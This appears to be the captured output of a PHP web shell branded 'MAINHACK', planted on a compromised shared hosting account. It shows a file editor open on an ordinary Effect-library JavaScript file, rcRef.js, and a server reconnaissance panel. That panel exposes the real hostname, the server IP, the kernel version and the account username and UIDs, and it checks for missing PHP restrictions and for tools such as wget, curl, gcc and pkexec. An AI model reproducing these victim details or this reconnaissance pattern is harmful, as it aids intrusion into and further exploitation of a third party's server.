[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: rcRef.js
import * as Context from "../Context.js"; import * as Duration from "../Duration.js"; import * as Effectable from "../Effectable.js"; import { identity } from "../Function.js"; import * as Readable from "../Readable.js"; import * as coreEffect from "./core-effect.js"; import * as core from "./core.js"; import * as circular from "./effect/circular.js"; import * as fiberRuntime from "./fiberRuntime.js"; /** @internal */ export const TypeId = /*#__PURE__*/Symbol.for("effect/RcRef"); const stateEmpty = { _tag: "Empty" }; const stateClosed = { _tag: "Closed" }; const variance = { _A: identity, _E: identity }; class RcRefImpl extends Effectable.Class { acquire; context; scope; idleTimeToLive; [TypeId] = variance; [Readable.TypeId] = Readable.TypeId; state = stateEmpty; semaphore = /*#__PURE__*/circular.unsafeMakeSemaphore(1); constructor(acquire, context, scope, idleTimeToLive) { super(); this.acquire = acquire; this.context = context; this.scope = scope; this.idleTimeToLive = idleTimeToLive; this.get = get(this); } get; commit() { return this.get; } } /** @internal */ export const make = options => core.withFiberRuntime(fiber => { const context = fiber.getFiberRef(core.currentContext); const scope = Context.get(context, fiberRuntime.scopeTag); const ref = new RcRefImpl(options.acquire, context, scope, options.idleTimeToLive ? Duration.decode(options.idleTimeToLive) : undefined); return core.as(scope.addFinalizer(() => ref.semaphore.withPermits(1)(core.suspend(() => { const close = ref.state._tag === "Acquired" ? core.scopeClose(ref.state.scope, core.exitVoid) : core.void; ref.state = stateClosed; return close; }))), ref); }); /** @internal */ export const get = self_ => { const self = self_; const isInfinite = self.idleTimeToLive && !Duration.isFinite(self.idleTimeToLive); return core.uninterruptibleMask(restore => core.suspend(() => { switch (self.state._tag) { case "Closed": { return core.interrupt; } case "Acquired": { self.state.refCount++; return self.state.fiber ? core.as(core.interruptFiber(self.state.fiber), self.state) : core.succeed(self.state); } case "Empty": { return fiberRuntime.scopeMake().pipe(coreEffect.bindTo("scope"), coreEffect.bind("value", ({ scope }) => restore(core.fiberRefLocally(self.acquire, core.currentContext, Context.add(self.context, fiberRuntime.scopeTag, scope)))), core.map(({ scope, value }) => { const state = { _tag: "Acquired", value, scope, fiber: undefined, refCount: 1 }; self.state = state; return state; })); } } })).pipe(self.semaphore.withPermits(1), coreEffect.bindTo("state"), coreEffect.bind("scope", () => fiberRuntime.scopeTag), core.tap(({ scope, state }) => scope.addFinalizer(() => core.suspend(() => { state.refCount--; if (state.refCount > 0 || isInfinite) { return core.void; } if (self.idleTimeToLive === undefined) { self.state = stateEmpty; return core.scopeClose(state.scope, core.exitVoid); } return coreEffect.sleep(self.idleTimeToLive).pipe(core.interruptible, core.zipRight(core.suspend(() => { if (self.state._tag === "Acquired" && self.state.refCount === 0) { self.state = stateEmpty; return core.scopeClose(state.scope, core.exitVoid); } return core.void; })), fiberRuntime.ensuring(core.sync(() => { state.fiber = undefined; })), circular.forkIn(self.scope), core.tap(fiber => { state.fiber = fiber; }), self.semaphore.withPermits(1)); }))), core.map(({ state }) => state.value)); }; /** @internal */ export const invalidate = self_ => { const self = self_; return core.uninterruptible(core.suspend(() => { if (self.state._tag !== "Acquired") { return core.void; } const state = self.state; self.state = stateEmpty; return state.scope.close(core.exitVoid); })); }; //# sourceMappingURL=rcRef.js.map
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium331.web-hosting.com
Server IP: 184.94.213.169
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.83 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: livedhms
User ID (UID): 1344
Group ID (GID): 1349
Script Owner UID: 1344
Current Dir Owner: 1344